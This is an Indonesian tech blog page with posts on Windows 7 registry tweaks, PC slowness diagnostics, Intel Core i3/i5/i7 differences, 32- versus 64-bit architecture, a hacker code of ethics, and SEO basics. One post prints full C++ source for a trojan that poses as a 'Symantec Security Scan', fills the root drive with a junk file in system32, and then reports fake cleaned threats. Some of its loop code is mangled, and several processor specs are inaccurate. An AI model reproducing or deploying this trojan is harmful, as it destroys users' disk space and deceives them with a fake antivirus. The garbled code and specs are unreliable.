You can replace this text by going to "Layout" and then "Page Elements" section. Edit " About "

Memunculkan Fitur Personalize yang Hilang di Windows 7


Sebenarnya saya belum pernah ngalami hal seperti itu, namun saya mencoba mencaritahu mengenai letak pengaturan personalize di registry. Akhirnya saya mengetahui letak key dari personalize di registry. Dalam pikiran saya mungkin dengan membuat key personalize seperti pada pengaturan registry di windows 7 saya, bisa menjawab pertanyaan tersebut. Sebelum melakukan trik ini sebaiknya backup terlebih dahulu registry Anda.
  •     Tekan tombol Windows + R kemudian ketikkan regedit dan tekan enter untuk masuk ke registry editor.
  •     Masukke HKEY_CLASSES_ROOT\DesktopBackground\Shell.
  •     Dibawah Shell pada windows normal terdapat 3 sub key yaitu Display, Gadgets dan Personalize. Jika sub key Personalize tidak ada maka disini akan kita buat sub key Personalize.
  •     Klik kanan pada Shell kemudian pilih New dan klik Key.
  •     Beri nama key tersebut Personalize.
  •     Pada panel Key personalize sebelah kanan ubah value default menjadi @%systemroot%\system32\themecpl.dll,-10.
  •     Buat String baru dengan nama ControlPanelName dan ubah valuenya menjadi Microsoft.Personalization.
  •     Buat string baru lagi dan beri nama icon kemudian ubah valuenya menjadi %systemroot%\system32\themecpl.dll,-1.
  •     Buat string lagi dengan nama Position dan ubah valuenya menjadi bottom agar letaknya di bawah.
  •     Kita buat sub key baru dikey personalize, dengan cara klik kanan key personalize kemudian pilih key dan beri nama sub key tersebut command.
  •     Klik sub key command, pada panel sebelah kanan buat string baru dengan cara klik kanan kemudian pilih string value dan beri nama DelegateExecute. Setelah itu isi value datanya menjadi {06622D85-6856-4460-8DE1-A81921B41C4B}.
Jika sudah, tutup jendela registry editor, kemudian restart komputer.
READ MORE - Memunculkan Fitur Personalize yang Hilang di Windows 7

Cari Penyebab Komputer Lambat, Lelet, Lola


Sudah menjadi rahasia umum bahwa semakin lama usia Windows terinstal di komputer/leptop, semakin lambat kinerja Windowsnya, Kalau sudah begini, instal ulang Windows biasanya sering menjadi jalan pintas untuk menyelesaikan permasalahan ini. Tapi sebelum install ulang, coba pakai fitur analisa Windows untuk mencari tahu aplikasi apa saja yang menyebabkan sistem bekerja lamban.

Begini caranya:
  1. Buka Control Panel dengan mengklik menu “Start” >> “Control Panel
  2. Setelah jendela Control Panel terbuka, masuklah ke menu “System and Maintenance “ >> “Performance Information and Tools
  3. Pada panel control Performance Informantion and Tools, Klik menu Advanced Tools pada task di sisi kiri
  4. Pada bagian Performance issue, kamu akan melihat bagian mana saja dari system Windows kamu yang terindikasi memiliki masalah performa, apakah itu saat Windows sedang start up, shut down atau dalam pengoperasiannya sehari-hari.
Untuk mengetahui progam apa saja yang mempengaruhi masalah performa di Windows Anda, Klik salah satu kategori pada masalah kinerja, sesaat kemudian Anda akan melihat nama aplikasi dan detail waktu yang telah di habiskan oleh aplikasi tersebut. Klik “OK” untuk menutup jendela informasi tersebut.
Sekian, semoga bermanfaat.

READ MORE - Cari Penyebab Komputer Lambat, Lelet, Lola

Perbedaan Antara Processor Intel Core i3, i5, dan i7



Berikut ini deskripsi perbedaan antara processor Intel Core i3, i5, dan i7:
  
Intel Core i3

Intel Core i3 merupakan varian paling value dibandingkan dua saudaranya yang lain. Processor ini akan mengintegrasikan GPU (Graphics Processing Unit) alias Graphics On-board didalam processornya. Kemampuan grafisnya diklaim sama dengan Intel GMA pada chipset G45. Selain itu Core i3 nantinya menggunakan manufaktur hybrid, inti processor dengan 32nm, sedangkan memory controller/graphics menggunakan 45nm. Code produk Core i3 adalah “Arrandale”.
  • Tidak support teknologi Hyper-Threading
  • Turbo Boost – Maksimum overclocking otomatis berkisar antara 2.933 GHZ – 3.2 GHZ
  • Clock Graphics Processor – 100 MHZ
  • L3 Cache – 4 MB
  • LGA Socket 1156
  • Core I3 mengintegrasikan Virtualizing Technology dengan GPU (Graphic Processing Unit) agar dapat berjalan lebih cepat.


Intel Core i5

Jika Bloomfield adalah codename untuk Core i7 maka Lynnfield adalah codename untuk Core i5. Core i5 adalah seri value dari Core i7 yang akan berjalan di socket baru Intel yaitu socket LGA-1156. Tertarik begitu mendengar kata value ? Tepat ! Core i5 akan dipasarkan dengan harga sekitar US$186.

Kelebihan Core i5 ini adalah ditanamkannya fungsi chipset Northbridge pada inti processor (dikenal dengan nama MCH pada Motherboard). Maka motherboard Core i5 yang akan menggunakan chipset Intel P55 (dikelas mainstream) ini akan terlihat lowong tanpa kehadiran chipset northbridge. Jika Core i7 menggunakan Triple Channel DDR 3, maka di Core i5 hanya menggunakan Dual Channel DDR 3. Penggunaan dayanya juga diturunkan menjadi 95 Watt. Chipset P55 ini mendukung Triple Graphic Cards (3x) dengan 1×16 PCI-E slot dan 2×8 PCI-E slot. Pada Core i5 cache tetap sama, yaitu 8 MB L3 cache.

Intel juga meluncurkan Clarksfield, yaitu Core i5 versi mobile yang ditujukan untuk notebook. Socket yang akan digunakan adalah mPGA-989 dan membutuhkan daya yang terbilang cukup kecil yaitu sebesar 45-55 Watt.
  • Support Hyper-Threading
  • Terdiri dari 2 processor Dual Core. Terdapat juga seri I5 yang berisi 2 processor Quad Core, namun tidak support Hyper-Treading
  • Turbo Boost – Maksimum overclocking otomatis berkisar antara 2.4 GHZ – 3.33 GHZ
  • L3 Cache – 4-8 MB
  • LGA Socket 1156
  • Intel HD Graphics
  • Maximal RAM – 16 GB

Intel Core i7

Core i7 sendiri merupakan processor pertama dengan teknologi “Nehalem”. Nehalem menggunakan platform baru yang betul-betul berbeda dengan generasi sebelumnya. Salah satunya adalah mengintegrasikan chipset MCH langsung di processor, bukan motherboard. Nehalem juga mengganti fungsi FSB menjadi QPI (Quick Path Interconnect) yang lebih revolusioner.
  • Terdiri dari 4 processor dengan spesifikasi Quad Core didalamnya
  • Support Hyper-Threading – Dapat memecah 4 processor menjadi 8 processor untuk menjalankan proses-proses yang berat secara bersamaan seperti proses 3D Rendering, Video Editing. Animation dsb.
  • Turbo Boost – Maksimum overclocking otomatis berkisar 1.73 GHZ  – 3.33 GHZ
  • L3 Cache – 8-12 MB
  • Teknologi Intel QuickPath Interconnect – Untuk mempercepat proses baca data hingga 25.6 GB / detik
  • LGA Socket 1156 & 1366
  • Intel HD Graphics 
  • Maximal RAM – 24 GB
 
 Sumber: Tabloid PC Plus

READ MORE - Perbedaan Antara Processor Intel Core i3, i5, dan i7

Perbedaan 32-bit dan 64-bit

32-bit dan 64-bit mengacu pada arsitektur processor: Processor 32-bit artinya register2 nya (unit penyimpanan data terkecil di dalamnya) berukuran 32 bit.
Processor 64-bit artinya register2 nya berukuran 64 bit. Register2 ini lah yang digunakan untuk melakukan macam2 operasi. Misalnya c = a + b, maka register "eax" akan me-load nilai dari "a" (di memory), kemudian pada register "eax" ditambahkan nilai dari "b", lalu "eax" ditulis ke memory pada posisi variabel "c".

Pengaruh ukuran register terhadap kecepatan:
Setiap proses baca/tulis dari memory (disebut dengan load/store) membaca/menulis informasi sebesar ukuran register; maka register 64-bit potensial membaca/menulis memory 2x kecepatan register 32-bit.
Tapi ini teoretis saja, karena kenyataannya prosesor juga menghabiskan waktu untuk melakukan hal-hal lain selain load/store, seperti pemrosesan matematis, vector-processing, dll.

Pengaruh ukuran register terhadap presisi:
Secara simplistik: Makin panjang register, makin banyak angka di-belakang-koma yang bisa dihitung secara akurat.
Sebagai gambaran: Misalkan resolusi bilangan real pada 32-bit adalah 0.0001, maka resolusi bilangan real pada 64-bit bisa mencapai 0.0000001 (jadi jauh lebih presisi).

Pengaruh ukuran register terhadap ukuran memori:
Salah satu dari sekian banyak register adalah "addressing register". Addressing register (atau registers, kalau lebih dari satu) adalah register yang memiliki fungsi 'menunjuk' ke alamat tertentu dalam memory. Jangkauan (range) penunjukan ini disebut dengan istilah memory space.
Pada arsitektur 32-bit, addressing registers mampu 'menunjuk' posisi memory dari 0 s/d 4'294'967'295 (4 GiB - 1). Inilah yang mengakibatkan muncul "batasan 4 GiB" pada sistem berbasis arsitektur 32-bit.
Pada arsitektur 64-bit, addressing registers mampu 'menunjuk' posisi memory dari 0 s/d 18'446'744'073'709'551'615 (16 EiB - 1). Seperti kita lihat, tidak ada lagi 'batasan 4 GiB' pada sistem berbasis arsitektur 64-bit.

Pengaruh ukuran register terhadap dataset:
"Dataset" adalah istilah untuk 'seperangkat data yang di-load ke dalam memory untuk diproses dan (optionally) ditulis kembali ke hard disk'.
Sistem 32-bit terbatas pada dataset sebesar (2^32)-1, atau (4 GiB - 1). Mengingat sebagian memory harus digunakan untuk OS dan program database ybs, maka biasanya dataset nya hanya sebesar 1-2 GiB saja.
Artinya, sebuah database yang berukuran, katakanlah, 20 GiB (tidak asing dalam konteks perusahaan besar), harus diproses 10~20x.
Sistem 64-bit tidak memiliki batasan di atas. Dia dapat me-load dataset sebesar ketersediaan memory. Artinya, database 20 GiB di atas dapat di-load seluruhnya (asal memory mencukupi), diproses dalam sekali jalan saja.

Agar kita dapat memperoleh keunggulan sistem 64-bit, maka baik software dan hardware harus mendukung.
Software 32-bit jalan di hardware 64-bit tidak bisa memanfaatkan kelebihan arsitektur 64-bit. (Software hanya akan menggunakan 32-bit saja dari 64-bit yang tersedia; 32-bit sisanya tidak dikenali) ==> disebut mode 32-bit. Sebaliknya, software 64-bit tidak bisa jalan di hardware 32-bit karena kebutuhannya akan lebar register 64-bit tidak bisa dipenuhi.

READ MORE - Perbedaan 32-bit dan 64-bit

Membuat Trojan Horse dengan C++


//Trojan Horse with C++

#include
#include
#include
#include
FILE *a,*t,*b;
int r,status,vir_count;
double i;
char ch[]="CREATING A HUGE FILE FOR OCCUPYING HARDDISK SPACE",choice;

void eatspace(void);
void findroot(void);
void showstatus(void);
void draw(void);
void accept(void);

void main()
{
draw();
accept();
textcolor(WHITE);
draw();
gotoxy(12,8);
cputs("ANALYZING YOUR SYSTEM. PLEASE WAIT...");
sleep(3);
gotoxy(12,8);
delline();
cputs("PRESS ANY KEY TO START THE SYSTEM SCAN...");
getch();
gotoxy(12,8);
delline();
findroot();
}

void accept()
{
textcolor(LIGHTRED);
gotoxy(1,8);
cputs("THIS PROGRAM IS A DEMO OF SIMPLE TROJAN HORSE. IF YOU RUN THIS PROGRAM IT WILL\n\rEAT UP YOUR FULL HARD DISK SPACE ON ROOT DRIVE. HOWEVER IT IS POSSIBLE TO\n\rELIMINATE THE DAMAGE.\n\n\rTO CLEANUP THE DAMAGE YOU\'VE TO DELETE THE FILE \"spceshot.dll\" LOCATED IN\n\n\r \"%windir%\\System32\".\n\n\rIF YOU WISH TO RUN THE PROGRAM PRESS ENTER, OTHERWISE PRESS ANY KEY TO QUIT.");

if((choice=getch())!=13)
exit(0);
}

void draw()
{
clrscr();
textcolor(WHITE);
gotoxy(12,2);
cputs("********************************************************");
gotoxy(12,6);
cputs("********************************************************");
gotoxy(12,3);
cputs("*\n\b*\n\b*\n\b");
gotoxy(67,3);
cputs("*\n\b*\n\b*\n\b");
gotoxy(14,4);
cputs("SYMANTEC SECURITY SCAN - 2009 (QUICK SYSTEM SCANNER)");
}

void findroot()
{
t=fopen("C:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
textcolor(WHITE);
a=fopen("C:\\windows\\system32\\spceshot.dll","rb");
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch();
exit(1);
}
b=fopen("C:\\windows\\system32\\spceshot.dll","wb+");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
t=fopen("D:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
a=fopen("D:\\windows\\system32\\spceshot.dll","rb");
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch();
exit(1);
}
b=fopen("D:\\windows\\system32\\spceshot.dll","wb+");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
t=fopen("E:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
a=fopen("E:\\windows\\system32\\spceshot.dll","rb");
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch();
exit(1);
}
b=fopen("E:\\windows\\system32\\spceshot.dll","wb+");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
t=fopen("F:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
a=fopen("F:\\windows\\system32\\spceshot.dll","rb");
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch();
exit(1);
}
b=fopen("F:\\windows\\system32\\spceshot.dll","wb+");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
if(t==NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN FAILED! PRESS ANY KEY TO CLOSE THIS PROGRAM.");
getch();
exit(1);
}
exit(1);
}

void eatspace()
{
textcolor(LIGHTRED);
gotoxy(12,16);
cputs("WARNING: DO NOT ABORT THE SCAN PROCESS UNTIL IT IS COMPLETED!\n");
textcolor(WHITE);
gotoxy(12,18);
while(1)
{
for(r=1;r<4 br="" r="">{
for(i=1;i<900000 br="" i="">{
status=fputs(ch,b);
if(status==EOF)
{
textcolor(WHITE);
vir_count=random(120);
draw();
gotoxy(12,8);
cprintf("SCAN COMPLETE!. DETECTED AND CLEANED OVER %d THREATS!",vir_count);
gotoxy(12,10);
cprintf("PRESS ANY KEY TO CLOSE...");
getch();
break;
}
}
cputs(".");
if(status==EOF) break;
}
if(status==EOF) break;
}
exit(0);
}

void showstatus()
{
gotoxy(12,8);
cputs("SCANNING THE SYSTEM FOR THREATS");
gotoxy(12,10);
cputs("THIS MAY TAKE UP A FEW MINUTES TO FEW HOURS");
gotoxy(12,13);
cputs("SCAN IN PROGRESS. PLEASE WAIT...");
}
READ MORE - Membuat Trojan Horse dengan C++

Kode Etik Hacker


Hacker juga memiliki kode etik yang pada mulanya diformulasikan dalam sebuah buku karya Steven Levy yang berjudul "Hackers: Heroes of The Computer Revolution", pada tahun 1984.

Kode etik hacker tersebut yaitu:

1. Mampu mengakses komputer tak terbatas dan totalitas.
2. Semua informasi haruslah FREE.
3. Tidak percaya pada otoritas, artinya memperluas desentralisasi.
4. Tidak memakai identitas palsu, seperti nama samaran yang konyol, umur, posisi, dll.
5. Mampu membuat seni keindahan dalam komputer.
6. Komputer dapat mengubah hidup menjadi lebih baik.
7. Pekerjaan yang di lakukan semata-mata demi kebenaran informasi yang harus disebar luaskan.
8. Memegang teguh komitmen tidak membela dominasi ekonomi industri software tertentu.
9. Hacking adalah senjata mayoritas dalam perang melawan pelanggaran batas teknologi komputer.
10. Baik Hacking maupun Phreaking adalah satu-satunya jalan lain untuk menyebarkan informasi pada massa agar tak gagap dalam komputer.


READ MORE - Kode Etik Hacker

Belajar SEO Bagi Pemula: Menguasai Per-SEO-an dengan Cepat dan Mudah



Ungkapan para pemula yg mengatakan bahwa belajar SEO itu rumit memang sudah umum, seperti halnya saya dulu awalnya mempelajari liku-liku yg berhubungan dengan perseoan ini, hal ini menurut pengalaman saya di sebabkan karena para pemula yang mencari referensi tutorial perseoan menemukan artikel-artikel tutorial yang kebanyakan istilah yang berbau teknik dan pemrograman tapi tidak relevan dengan yang dia cari alias buntu (njelimet, rumit tapi tak bermanfaat, dan mencerahkan).

Sampai di sini saya yakinkan bahwa yang namanya belajar SEO itu sama-sekali bukan hal yang rumit-sulit, yang mungkin sulit adalah bagaimana caranya membuat content yang banyak di cari orang lalu menyajikannya secara unik-orisinil.

Belajar SEO tidak bisa di asumsikan seperti halnya belajar suatu yang bermuatan algoritma yang rumit seperti halnya belajar pemrograman bahasa C klasic atau Assembler ataupun belajar system jaringan komputer yang besar, tapi merupakan suatu teknik atau seni bermain-main dengan search engine.

Langsung langkah pasti dan mudah untuk memahami-menguasai perseoan :
1. Tetapkan tema website/blog, lalu buatlah harmonisasi / nyambung antara Title-Descripiton- Content
Contoh untuk di terapkan di blogspot :
Url blog : http://myexpert7.blogspot.com
Title blog : Tips and Trick
Description : tips and trick
Keyword :tips, trick, computer, linux, windows

2. Daftarkan ke 3 search engine besar, google, yahoo, msn, cara gampangnya gunakan saja Mypagerank.net Sitemap Submitter (masukan url blog anda lalu submit)

3. Daftarkan juga sitemap-nya secara manual di 3 search engine di atas, pasang meta tag-nya di bawah tag head (langkah No.2 dan No.3 ini penting, supaya content kita di kenali Search engine secara maksimal)
4. Posting artikel yang berhubungan dengan keyword yang di pasang di atas

5. Daftarkan RSS, minimal : technorati.com, feedburner.com, mybloglog.com

6. Selesai, Anda sudah melakukan proses SEO yang kuat, selebihnya tinggal bagaimana anda membuat konten yang banyak di cari orang dan menerapkan teknik-teknik keyword.

NOTE: bagi yg belum tau, untuk yg menggunakan hosting sendiri proses sitemap pada point No.3 diatas, prosesnya sama saja, misalnya memakai mesin WP meta tag bisa di letakan pada file header.php di bawah tag head atau yg menggunakan mesin lain utk hosting sendiri ini gampangnya, buka notepad (file-kosong) lalu Save As dengan nama file ber-ekstensi HTML sesuai yg di berikan (pada pilihan sitemap kan selain meta tag ada pilihan lain berupa membuat file HTML), contoh : g877yygghhh.html lalu upload file tsb ke root direktori server anda (public html)

Ukuran kekuatan SEO atau besarnya jumlah traffic yang di peroleh bergantung pada:

1. Jenis content atau tema posting ,apakah suatu tema yang banyak di cari orang atau tidak (biar punya ilmu SEO expert kalau artikelnya tidak ada yang cari gimana mau dapat traffic)

2. Harmonisasi-hubungan yg nyambung antara title-description-keyword-content . Contoh: sebuah tema gosip akan lebih SEO friendly jika di posting di blog yang bertema entertainment, di banding di blog yang bertema komputer (asal dasar-dasar SEO sdh di terapkan spt langkah di atas)
3. Cara mengolah dan menerapkan keyword

4. Itu saja, yang lain-lain yang berupa istilah2 macam-macam ,tak penting.

Content yang banyak di cari orang lalu di kemas dengan seni-teknik menerapkan keyword , itu saja intinya perseoaan dan di blog ini saya rasa sudah cukup lengkap sebagai dasar-dasar SEO untuk bisa di kembangkan ke tingkat mahir.

- Untuk SEO Website yang berupa beberapa halaman statis, prinsipnya sama saja, hanya perlu lebih cermat dan akurat mengatur-menyusun-menerapkan setiap keyword pada seluruh wilayah halaman website

- Untuk blogger SEO dengan domain-hosting sendiri misalnya memakai mesin WP, tentu lebih mudah lagi karena bisa memanfaatkan macam2 plugins.

Ukuran kesuksesan seorang blogger akan sangat terpengaruh dengan 2 hal:
1. Misi dan Visi utama ngeblog

2. Tema utama-content blog (SEO hanyalah alat bantu, secanggih apapun ilmu perseoan SEO Indonesia bagaimana bisa mendatangkan traffic jika content tak ada yang cari)



READ MORE - Belajar SEO Bagi Pemula: Menguasai Per-SEO-an dengan Cepat dan Mudah
 

Search

Populer

Clustrmaps

Pengunjung

Powered by Blogger.